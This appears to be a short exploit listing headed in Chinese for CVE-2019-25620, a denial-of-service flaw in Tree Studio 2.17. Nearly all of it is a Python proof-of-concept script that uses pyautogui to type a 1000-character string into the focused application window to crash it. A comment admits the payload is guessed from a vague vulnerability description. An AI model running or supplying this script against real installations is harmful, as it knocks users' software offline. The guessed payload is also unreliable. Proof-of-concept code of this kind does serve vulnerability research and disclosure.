CVE-2019-25620 Tree Studio拒绝服务漏洞

import pyautogui import time # PoC for CVE-2019-25620 # This script simulates sending malformed input via the keyboard to crash Tree Studio 2.17 # Ensure Tree Studio is the active window before running. def exploit(): print("[+] Exploit starting in 5 seconds. Please focus Tree Studio window...") time.sleep(5) # Sending a long stream of characters to trigger the crash # The description implies arbitrary characters can cause the issue payload = "A" * 1000 try: print("[+] Sending payload...") pyautogui.write(payload, interval=0.01) print("[+] Payload sent. Check if the application has crashed.") except Exception as e: print(f"[-] Error during execution: {e}") if __name__ == "__main__": exploit()